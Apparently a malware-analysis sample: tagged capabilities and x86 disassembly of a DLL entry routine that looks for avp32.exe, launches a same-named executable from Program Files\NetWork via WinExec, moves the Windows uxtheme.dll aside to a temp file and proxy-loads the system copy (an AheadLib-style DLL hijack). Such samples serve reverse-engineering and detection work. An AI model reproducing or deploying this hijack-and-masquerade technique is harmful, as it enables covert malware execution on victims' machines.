Function at 0x10001360
Capabilities:
Get common file path
Get program files directory
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10006b40
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xd18
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
cmp eax, 1
mov dword [ebp - 0x10], esp
jne 0x10001602
push str.avp32.exe
call fcn.10001070
add esp, 4
test eax, eax
jne 0x10001547
call fcn.10001300
test eax, eax
je 0x10001547
call fcn.10001160
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x113]
mov byte [ebp - 0x114], bl
mov byte [ebp - 0x218], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x217]
push str.WinExec
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.Kernel32.dll
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x1000bf84], eax
mov ecx, 0x1ff
xor eax, eax
lea edi, [ebp - 0xd23]
mov byte [ebp - 0xd24], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0xd24]
push 0x26
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov edi, str.NetWork
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0xd24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 5
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0xd24]
and ecx, 3
mov dword [ebp - 4], ebx
rep movsb byte es:[edi], byte [esi]
mov edi, str._avp32.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0xd24]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [0x1000bf84]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x114]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
mov edi, str.uxtheme.dll
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x114]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [ebp - 0x218]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov edi, str._temp.log
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x218]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 1
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [ebp - 0x218]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_DisableThreadLibraryCalls]
lea eax, [ebp - 0x31c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov edi, str.uxtheme.dll
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x31c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [ebp - 0x31c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
mov dword [0x1000bf88], eax
jne 0x100015e0
lea ecx, [ebp - 0x31c]
lea edx, [ebp - 0x524]
push ecx
push 0x10009104
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x524]
push 0x10
push str.AheadLib
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [0x1000bf88]
xor ecx, ecx
test eax, eax
setne cl
mov eax, ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
test eax, eax
jne 0x10001616
mov eax, dword [0x1000bf88]
test eax, eax
je 0x10001616
push eax
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0xc